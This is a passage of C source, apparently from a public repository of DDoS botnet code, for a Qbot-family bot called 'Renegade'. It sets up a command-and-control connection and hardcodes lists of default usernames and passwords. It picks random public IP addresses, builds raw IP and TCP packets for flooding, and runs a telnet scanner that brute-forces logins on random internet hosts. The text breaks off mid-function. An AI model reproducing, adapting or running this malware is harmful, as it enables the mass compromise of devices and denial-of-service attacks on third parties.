Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Qbot/Renegade/server.c
5038 views
1
#define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
2
#define PAD_RIGHT 1
3
#define PAD_ZERO 2
4
#define PRINT_BUF_LEN 12
5
#define CMD_IAC 255
6
#define CMD_WILL 251
7
#define CMD_WONT 252
8
#define CMD_DO 253
9
#define CMD_DONT 254
10
#define OPT_SGA 3
11
12
#include <stdlib.h>
13
#include <stdarg.h>
14
#include <stdio.h>
15
#include <sys/socket.h>
16
#include <sys/types.h>
17
#include <netinet/in.h>
18
#include <arpa/inet.h>
19
#include <netdb.h>
20
#include <signal.h>
21
#include <strings.h>
22
#include <string.h>
23
#include <sys/utsname.h>
24
#include <unistd.h>
25
#include <fcntl.h>
26
#include <errno.h>
27
#include <netinet/ip.h>
28
#include <netinet/udp.h>
29
#include <netinet/tcp.h>
30
#include <sys/wait.h>
31
#include <sys/ioctl.h>
32
#include <net/if.h>
33
34
unsigned char *commServer[] =
35
{
36
""
37
};
38
39
int initConnection();
40
int getBogos(unsigned char *bogomips);
41
int getCores();
42
int getCountry(unsigned char *buf, int bufsize);
43
void makeRandomStr(unsigned char *buf, int length);
44
int sockprintf(int sock, char *formatStr, ...);
45
char *inet_ntoa(struct in_addr in);
46
47
int mainCommSock = 0, currentServer = -1, gotIP = 0;
48
uint32_t *pids;
49
uint32_t scanPid;
50
uint64_t numpids = 0;
51
struct in_addr ourIP;
52
unsigned char macAddress[6] = {0};
53
char *usernames[] = {"root\0", "\0", "admin\0", "user\0", "login\0", "guest\0", "operator\0", "netis\0", "D-Link\0", "cisco\0"};
54
char *passwords[] = {"root\0", "\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "cisco\0", "operator\0", "default\0", "pass\0", "password\0"};
55
56
#define PHI 0x9e3779b9
57
static uint32_t Q[4096], c = 362436;
58
59
void init_rand(uint32_t x)
60
{
61
int i;
62
63
Q[0] = x;
64
Q[1] = x + PHI;
65
Q[2] = x + PHI + PHI;
66
67
for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
68
}
69
70
uint32_t rand_cmwc(void)
71
{
72
uint64_t t, a = 18782LL;
73
static uint32_t i = 4095;
74
uint32_t x, r = 0xfffffffe;
75
i = (i + 1) & 4095;
76
t = a * Q[i] + c;
77
c = (uint32_t)(t >> 32);
78
x = t + c;
79
if (x < c) {
80
x++;
81
c++;
82
}
83
return (Q[i] = r - x);
84
}
85
86
void trim(char *str)
87
{
88
int i;
89
int begin = 0;
90
int end = strlen(str) - 1;
91
92
while (isspace(str[begin])) begin++;
93
94
while ((end >= begin) && isspace(str[end])) end--;
95
for (i = begin; i <= end; i++) str[i - begin] = str[i];
96
97
str[i - begin] = '\0';
98
}
99
100
static void printchar(unsigned char **str, int c)
101
{
102
if (str) {
103
**str = c;
104
++(*str);
105
}
106
else (void)write(1, &c, 1);
107
}
108
109
static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
110
{
111
register int pc = 0, padchar = ' ';
112
113
if (width > 0) {
114
register int len = 0;
115
register const unsigned char *ptr;
116
for (ptr = string; *ptr; ++ptr) ++len;
117
if (len >= width) width = 0;
118
else width -= len;
119
if (pad & PAD_ZERO) padchar = '0';
120
}
121
if (!(pad & PAD_RIGHT)) {
122
for ( ; width > 0; --width) {
123
printchar (out, padchar);
124
++pc;
125
}
126
}
127
for ( ; *string ; ++string) {
128
printchar (out, *string);
129
++pc;
130
}
131
for ( ; width > 0; --width) {
132
printchar (out, padchar);
133
++pc;
134
}
135
136
return pc;
137
}
138
139
static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
140
{
141
unsigned char print_buf[PRINT_BUF_LEN];
142
register unsigned char *s;
143
register int t, neg = 0, pc = 0;
144
register unsigned int u = i;
145
146
if (i == 0) {
147
print_buf[0] = '0';
148
print_buf[1] = '\0';
149
return prints (out, print_buf, width, pad);
150
}
151
152
if (sg && b == 10 && i < 0) {
153
neg = 1;
154
u = -i;
155
}
156
157
s = print_buf + PRINT_BUF_LEN-1;
158
*s = '\0';
159
160
while (u) {
161
t = u % b;
162
if( t >= 10 )
163
t += letbase - '0' - 10;
164
*--s = t + '0';
165
u /= b;
166
}
167
168
if (neg) {
169
if( width && (pad & PAD_ZERO) ) {
170
printchar (out, '-');
171
++pc;
172
--width;
173
}
174
else {
175
*--s = '-';
176
}
177
}
178
179
return pc + prints (out, s, width, pad);
180
}
181
182
static int print(unsigned char **out, const unsigned char *format, va_list args )
183
{
184
register int width, pad;
185
register int pc = 0;
186
unsigned char scr[2];
187
188
for (; *format != 0; ++format) {
189
if (*format == '%') {
190
++format;
191
width = pad = 0;
192
if (*format == '\0') break;
193
if (*format == '%') goto out;
194
if (*format == '-') {
195
++format;
196
pad = PAD_RIGHT;
197
}
198
while (*format == '0') {
199
++format;
200
pad |= PAD_ZERO;
201
}
202
for ( ; *format >= '0' && *format <= '9'; ++format) {
203
width *= 10;
204
width += *format - '0';
205
}
206
if( *format == 's' ) {
207
register char *s = (char *)va_arg( args, int );
208
pc += prints (out, s?s:"(null)", width, pad);
209
continue;
210
}
211
if( *format == 'd' ) {
212
pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
213
continue;
214
}
215
if( *format == 'x' ) {
216
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
217
continue;
218
}
219
if( *format == 'X' ) {
220
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
221
continue;
222
}
223
if( *format == 'u' ) {
224
pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
225
continue;
226
}
227
if( *format == 'c' ) {
228
scr[0] = (unsigned char)va_arg( args, int );
229
scr[1] = '\0';
230
pc += prints (out, scr, width, pad);
231
continue;
232
}
233
}
234
else {
235
out:
236
printchar (out, *format);
237
++pc;
238
}
239
}
240
if (out) **out = '\0';
241
va_end( args );
242
return pc;
243
}
244
245
int zprintf(const unsigned char *format, ...)
246
{
247
va_list args;
248
va_start( args, format );
249
return print( 0, format, args );
250
}
251
252
int szprintf(unsigned char *out, const unsigned char *format, ...)
253
{
254
va_list args;
255
va_start( args, format );
256
return print( &out, format, args );
257
}
258
259
260
int sockprintf(int sock, char *formatStr, ...)
261
{
262
unsigned char *textBuffer = malloc(2048);
263
memset(textBuffer, 0, 2048);
264
char *orig = textBuffer;
265
va_list args;
266
va_start(args, formatStr);
267
print(&textBuffer, formatStr, args);
268
va_end(args);
269
orig[strlen(orig)] = '\n';
270
zprintf("buf: %s\n", orig);
271
int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
272
free(orig);
273
return q;
274
}
275
276
static int *fdopen_pids;
277
278
int fdpopen(unsigned char *program, register unsigned char *type)
279
{
280
register int iop;
281
int pdes[2], fds, pid;
282
283
if (*type != 'r' && *type != 'w' || type[1]) return -1;
284
285
if (pipe(pdes) < 0) return -1;
286
if (fdopen_pids == NULL) {
287
if ((fds = getdtablesize()) <= 0) return -1;
288
if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
289
memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
290
}
291
292
switch (pid = vfork())
293
{
294
case -1:
295
close(pdes[0]);
296
close(pdes[1]);
297
return -1;
298
case 0:
299
if (*type == 'r') {
300
if (pdes[1] != 1) {
301
dup2(pdes[1], 1);
302
close(pdes[1]);
303
}
304
close(pdes[0]);
305
} else {
306
if (pdes[0] != 0) {
307
(void) dup2(pdes[0], 0);
308
(void) close(pdes[0]);
309
}
310
(void) close(pdes[1]);
311
}
312
_exit(127);
313
}
314
if (*type == 'r') {
315
iop = pdes[0];
316
(void) close(pdes[1]);
317
} else {
318
iop = pdes[1];
319
(void) close(pdes[0]);
320
}
321
fdopen_pids[iop] = pid;
322
return (iop);
323
}
324
325
int fdpclose(int iop)
326
{
327
register int fdes;
328
sigset_t omask, nmask;
329
int pstat;
330
register int pid;
331
332
if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
333
(void) close(iop);
334
sigemptyset(&nmask);
335
sigaddset(&nmask, SIGINT);
336
sigaddset(&nmask, SIGQUIT);
337
sigaddset(&nmask, SIGHUP);
338
(void) sigprocmask(SIG_BLOCK, &nmask, &omask);
339
do {
340
pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
341
} while (pid == -1 && errno == EINTR);
342
(void) sigprocmask(SIG_SETMASK, &omask, NULL);
343
fdopen_pids[fdes] = 0;
344
return (pid == -1 ? -1 : WEXITSTATUS(pstat));
345
}
346
347
unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
348
{
349
int got = 1, total = 0;
350
while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
351
return got == 0 ? NULL : buffer;
352
}
353
354
static const long hextable[] = {
355
[0 ... 255] = -1,
356
['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
357
['A'] = 10, 11, 12, 13, 14, 15,
358
['a'] = 10, 11, 12, 13, 14, 15
359
};
360
361
long parseHex(unsigned char *hex)
362
{
363
long ret = 0;
364
while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
365
return ret;
366
}
367
368
int wildString(const unsigned char* pattern, const unsigned char* string) {
369
switch(*pattern)
370
{
371
case '\0': return *string;
372
case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
373
case '?': return !(*string && !wildString(pattern+1, string+1));
374
default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
375
}
376
}
377
378
int getHost(unsigned char *toGet, struct in_addr *i)
379
{
380
struct hostent *h;
381
if((i->s_addr = inet_addr(toGet)) == -1) return 1;
382
return 0;
383
}
384
385
void uppercase(unsigned char *str)
386
{
387
while(*str) { *str = toupper(*str); str++; }
388
}
389
390
int getBogos(unsigned char *bogomips)
391
{
392
int cmdline = open("/proc/cpuinfo", O_RDONLY);
393
char linebuf[4096];
394
while(fdgets(linebuf, 4096, cmdline) != NULL)
395
{
396
uppercase(linebuf);
397
if(strstr(linebuf, "BOGOMIPS") == linebuf)
398
{
399
unsigned char *pos = linebuf + 8;
400
while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
401
while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
402
if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
403
strcpy(bogomips, pos);
404
close(cmdline);
405
return 0;
406
}
407
memset(linebuf, 0, 4096);
408
}
409
close(cmdline);
410
return 1;
411
}
412
413
int getCores()
414
{
415
int totalcores = 0;
416
int cmdline = open("/proc/cpuinfo", O_RDONLY);
417
char linebuf[4096];
418
while(fdgets(linebuf, 4096, cmdline) != NULL)
419
{
420
uppercase(linebuf);
421
if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
422
memset(linebuf, 0, 4096);
423
}
424
close(cmdline);
425
return totalcores;
426
427
}
428
429
void makeRandomStr(unsigned char *buf, int length)
430
{
431
int i = 0;
432
for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
433
}
434
435
int recvLine(int socket, unsigned char *buf, int bufsize)
436
{
437
memset(buf, 0, bufsize);
438
439
fd_set myset;
440
struct timeval tv;
441
tv.tv_sec = 30;
442
tv.tv_usec = 0;
443
FD_ZERO(&myset);
444
FD_SET(socket, &myset);
445
int selectRtn, retryCount;
446
if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
447
while(retryCount < 10)
448
{
449
sockprintf(mainCommSock, "PING");
450
451
tv.tv_sec = 30;
452
tv.tv_usec = 0;
453
FD_ZERO(&myset);
454
FD_SET(socket, &myset);
455
if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
456
retryCount++;
457
continue;
458
}
459
460
break;
461
}
462
}
463
464
unsigned char tmpchr;
465
unsigned char *cp;
466
int count = 0;
467
468
cp = buf;
469
while(bufsize-- > 1)
470
{
471
if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
472
*cp = 0x00;
473
return -1;
474
}
475
*cp++ = tmpchr;
476
if(tmpchr == '\n') break;
477
count++;
478
}
479
*cp = 0x00;
480
481
return count;
482
}
483
484
int connectTimeout(int fd, char *host, int port, int timeout)
485
{
486
struct sockaddr_in dest_addr;
487
fd_set myset;
488
struct timeval tv;
489
socklen_t lon;
490
491
int valopt;
492
long arg = fcntl(fd, F_GETFL, NULL);
493
arg |= O_NONBLOCK;
494
fcntl(fd, F_SETFL, arg);
495
496
dest_addr.sin_family = AF_INET;
497
dest_addr.sin_port = htons(port);
498
if(getHost(host, &dest_addr.sin_addr)) return 0;
499
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
500
int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
501
502
if (res < 0) {
503
if (errno == EINPROGRESS) {
504
tv.tv_sec = timeout;
505
tv.tv_usec = 0;
506
FD_ZERO(&myset);
507
FD_SET(fd, &myset);
508
if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
509
lon = sizeof(int);
510
getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
511
if (valopt) return 0;
512
}
513
else return 0;
514
}
515
else return 0;
516
}
517
518
arg = fcntl(fd, F_GETFL, NULL);
519
arg &= (~O_NONBLOCK);
520
fcntl(fd, F_SETFL, arg);
521
522
return 1;
523
}
524
525
int listFork()
526
{
527
uint32_t parent, *newpids, i;
528
parent = fork();
529
if (parent <= 0) return parent;
530
numpids++;
531
newpids = (uint32_t*)malloc((numpids + 1) * 4);
532
for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
533
newpids[numpids - 1] = parent;
534
free(pids);
535
pids = newpids;
536
return parent;
537
}
538
539
int negotiate(int sock, unsigned char *buf, int len)
540
{
541
unsigned char c;
542
543
switch (buf[1]) {
544
case CMD_IAC: return 0;
545
case CMD_WILL:
546
case CMD_WONT:
547
case CMD_DO:
548
case CMD_DONT:
549
c = CMD_IAC;
550
send(sock, &c, 1, MSG_NOSIGNAL);
551
if (CMD_WONT == buf[1]) c = CMD_DONT;
552
else if (CMD_DONT == buf[1]) c = CMD_WONT;
553
else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
554
else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
555
send(sock, &c, 1, MSG_NOSIGNAL);
556
send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
557
break;
558
559
default:
560
break;
561
}
562
563
return 0;
564
}
565
566
int matchPrompt(char *bufStr)
567
{
568
char *prompts = ":>%$#\0";
569
570
int bufLen = strlen(bufStr);
571
int i, q = 0;
572
for(i = 0; i < strlen(prompts); i++)
573
{
574
while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
575
if(*(bufStr + bufLen - q) == prompts[i]) return 1;
576
}
577
578
return 0;
579
}
580
581
int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
582
{
583
int bufferUsed = initialIndex, got = 0, found = 0;
584
fd_set myset;
585
struct timeval tv;
586
tv.tv_sec = timeout;
587
tv.tv_usec = timeoutusec;
588
unsigned char *initialRead = NULL;
589
590
while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
591
{
592
FD_ZERO(&myset);
593
FD_SET(fd, &myset);
594
if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
595
initialRead = buffer + bufferUsed;
596
got = recv(fd, initialRead, 1, 0);
597
if(got == -1 || got == 0) return 0;
598
bufferUsed += got;
599
if(*initialRead == 0xFF)
600
{
601
got = recv(fd, initialRead + 1, 2, 0);
602
if(got == -1 || got == 0) return 0;
603
bufferUsed += got;
604
if(!negotiate(fd, initialRead, 3)) return 0;
605
} else {
606
if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
607
}
608
}
609
610
if(found) return 1;
611
return 0;
612
}
613
614
static uint8_t ipState[5];
615
in_addr_t getRandomPublicIP()
616
{
617
if(ipState[1] < 255 && ipState[2] < 255 && ipState[3] < 255 && ipState[4] < 255)
618
{
619
ipState[1]++;
620
ipState[2]++;
621
ipState[3]++;
622
ipState[4]++;
623
char ip[16];
624
szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
625
return inet_addr(ip);
626
}
627
628
ipState[1] = rand() % 255;
629
ipState[2] = rand() % 255;
630
ipState[3] = rand() % 255;
631
ipState[4] = rand() % 255;
632
while(
633
(ipState[1] == 0) ||
634
(ipState[1] == 10) ||
635
(ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
636
(ipState[1] == 127) ||
637
(ipState[1] == 169 && ipState[2] == 254) ||
638
(ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
639
(ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
640
(ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
641
(ipState[1] == 192 && ipState[2] == 168) ||
642
(ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
643
(ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
644
(ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
645
(ipState[1] >= 224)
646
)
647
{
648
ipState[1] = rand() % 255;
649
ipState[2] = rand() % 255;
650
ipState[3] = rand() % 255;
651
ipState[4] = rand() % 255;
652
}
653
654
char ip[16];
655
szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
656
return inet_addr(ip);
657
}
658
659
in_addr_t getRandomIP(in_addr_t netmask)
660
{
661
in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
662
return tmp ^ ( rand_cmwc() & ~netmask);
663
}
664
665
unsigned short csum (unsigned short *buf, int count)
666
{
667
register uint64_t sum = 0;
668
while( count > 1 ) { sum += *buf++; count -= 2; }
669
if(count > 0) { sum += *(unsigned char *)buf; }
670
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
671
return (uint16_t)(~sum);
672
}
673
674
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
675
{
676
677
struct tcp_pseudo
678
{
679
unsigned long src_addr;
680
unsigned long dst_addr;
681
unsigned char zero;
682
unsigned char proto;
683
unsigned short length;
684
} pseudohead;
685
unsigned short total_len = iph->tot_len;
686
pseudohead.src_addr=iph->saddr;
687
pseudohead.dst_addr=iph->daddr;
688
pseudohead.zero=0;
689
pseudohead.proto=IPPROTO_TCP;
690
pseudohead.length=htons(sizeof(struct tcphdr));
691
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
692
unsigned short *tcp = malloc(totaltcp_len);
693
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
694
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
695
unsigned short output = csum(tcp,totaltcp_len);
696
free(tcp);
697
return output;
698
}
699
700
void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
701
{
702
iph->ihl = 5;
703
iph->version = 4;
704
iph->tos = 0;
705
iph->tot_len = sizeof(struct iphdr) + packetSize;
706
iph->id = rand_cmwc();
707
iph->frag_off = 0;
708
iph->ttl = MAXTTL;
709
iph->protocol = protocol;
710
iph->check = 0;
711
iph->saddr = source;
712
iph->daddr = dest;
713
}
714
715
int sclose(int fd)
716
{
717
if(3 > fd) return 1;
718
close(fd);
719
return 0;
720
}
721
722
void TelnetScan()
723
{
724
int max = (getdtablesize() / 4) * 3, i, res;
725
fd_set myset;
726
struct timeval tv;
727
socklen_t lon;
728
int valopt;
729
730
max = max > 512 ? 512 : max;
731
732
struct sockaddr_in dest_addr;
733
dest_addr.sin_family = AF_INET;
734
dest_addr.sin_port = htons(23);
735
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
736
737
struct telstate_t
738
{
739
int fd;
740
uint32_t ip;
741
uint8_t state;
742
uint8_t complete;
743
uint8_t usernameInd;
744
uint8_t passwordInd;
745
uint32_t totalTimeout;
746
uint16_t bufUsed;
747
char *sockbuf;
748
} fds[max];
749
memset(fds, 0, max * (sizeof(int) + 1));
750
for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
751
struct timeval timeout;
752
timeout.tv_sec = 8;
753
timeout.tv_usec = 0;
754
while(1)
755
{
756
for(i = 0; i < max; i++)
757
{
758
switch(fds[i].state)
759
{
760
case 0:
761
{
762
memset(fds[i].sockbuf, 0, 1024);
763
764
if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
765
else {
766
fds[i].passwordInd++;
767
if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
768
if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
769
}
770
dest_addr.sin_family = AF_INET;
771
dest_addr.sin_port = htons(23);
772
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
773
dest_addr.sin_addr.s_addr = fds[i].ip;
774
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
775
if(fds[i].fd == -1) { continue; }
776
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
777
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { sclose(fds[i].fd); fds[i].complete = 1; }
778
else { fds[i].state = 1; fds[i].totalTimeout = 0; }
779
}
780
break;
781
782
case 1:
783
{
784
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
785
786
FD_ZERO(&myset);
787
FD_SET(fds[i].fd, &myset);
788
tv.tv_sec = 0;
789
tv.tv_usec = 10000;
790
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
791
if(res == 1)
792
{
793
lon = sizeof(int);
794
valopt = 0;
795
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
796
if(valopt)
797
{
798
sclose(fds[i].fd);
799
fds[i].state = 0;
800
fds[i].complete = 1;
801
} else {
802
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
803
fds[i].totalTimeout = 0;
804
fds[i].bufUsed = 0;
805
memset(fds[i].sockbuf, 0, 1024);
806
fds[i].state = 2;
807
continue;
808
}
809
} else if(res == -1)
810
{
811
sclose(fds[i].fd);
812
fds[i].state = 0;
813
fds[i].complete = 1;
814
}
815
816
if(fds[i].totalTimeout + 10 < time(NULL))
817
{
818
sclose(fds[i].fd);
819
fds[i].state = 0;
820
fds[i].complete = 1;
821
}
822
}
823
break;
824
825
case 2:
826
{
827
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
828
829
if(readUntil(fds[i].fd, "ogin", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
830
{
831
fds[i].totalTimeout = 0;
832
fds[i].bufUsed = 0;
833
if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
834
else fds[i].state = 3;
835
memset(fds[i].sockbuf, 0, 1024);
836
continue;
837
}
838
else if(readUntil(fds[i].fd, "user", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
839
{
840
fds[i].totalTimeout = 0;
841
fds[i].bufUsed = 0;
842
if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
843
else fds[i].state = 3;
844
memset(fds[i].sockbuf, 0, 1024);
845
fds[i].state = 3;
846
continue;
847
}
848
else if(readUntil(fds[i].fd, "pass", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
849
{
850
fds[i].totalTimeout = 0;
851
fds[i].bufUsed = 0;
852
memset(fds[i].sockbuf, 0, 1024);
853
fds[i].state = 5;
854
continue;
855
}
856
else if(readUntil(fds[i].fd, "name", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
857
{
858
fds[i].totalTimeout = 0;
859
fds[i].bufUsed = 0;
860
if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
861
else fds[i].state = 3;
862
memset(fds[i].sockbuf, 0, 1024);
863
fds[i].state = 3;
864
continue;
865
}
866
else if(readUntil(fds[i].fd, "word", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
867
{
868
fds[i].totalTimeout = 0;
869
fds[i].bufUsed = 0;
870
memset(fds[i].sockbuf, 0, 1024);
871
fds[i].state = 5;
872
continue;
873
} else {
874
fds[i].bufUsed = strlen(fds[i].sockbuf);
875
}
876
877
if(fds[i].totalTimeout + 10 < time(NULL))
878
{
879
sclose(fds[i].fd);
880
fds[i].state = 0;
881
fds[i].complete = 1;
882
}
883
}
884
break;
885
886
case 3:
887
{
888
if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
889
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
890
fds[i].state = 4;
891
}
892
break;
893
894
case 4:
895
{
896
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
897
898
if(readUntil(fds[i].fd, "pass", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
899
{
900
fds[i].totalTimeout = 0;
901
fds[i].bufUsed = 0;
902
if(strstr(fds[i].sockbuf, "pass") != NULL) fds[i].state = 5;
903
else fds[i].state = 7;
904
memset(fds[i].sockbuf, 0, 1024);
905
continue;
906
}
907
else if(readUntil(fds[i].fd, "word", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
908
{
909
fds[i].totalTimeout = 0;
910
fds[i].bufUsed = 0;
911
if(strstr(fds[i].sockbuf, "word") != NULL) fds[i].state = 5;
912
else fds[i].state = 7;
913
memset(fds[i].sockbuf, 0, 1024);
914
continue;
915
} else {
916
if(strstr(fds[i].sockbuf, "invalid") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
917
else if(strstr(fds[i].sockbuf, "incorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
918
else if(strstr(fds[i].sockbuf, "fail") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
919
else if(strstr(fds[i].sockbuf, "again") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
920
else if(strstr(fds[i].sockbuf, "wrong") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
921
else if(strstr(fds[i].sockbuf, "accessdenied") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
922
else if(strstr(fds[i].sockbuf, "error") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
923
else if(strstr(fds[i].sockbuf, "bad") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
924
fds[i].bufUsed = strlen(fds[i].sockbuf);
925
}
926
927
if(fds[i].totalTimeout + 10 < time(NULL))
928
{
929
sclose(fds[i].fd);
930
fds[i].state = 0;
931
fds[i].complete = 1;
932
}
933
}
934
break;
935
936
case 5:
937
{
938
if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
939
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
940
fds[i].state = 6;
941
}
942
break;
943
944
case 6:
945
{
946
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
947
948
if(readUntil(fds[i].fd, "invalid", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
949
{
950
fds[i].totalTimeout = 0;
951
fds[i].bufUsed = 0;
952
if(strstr(fds[i].sockbuf, "invalid") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
953
if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
954
else fds[i].state = 7;
955
memset(fds[i].sockbuf, 0, 1024);
956
continue;
957
}
958
else if(readUntil(fds[i].fd, "incorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
959
{
960
fds[i].totalTimeout = 0;
961
fds[i].bufUsed = 0;
962
if(strstr(fds[i].sockbuf, "incorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
963
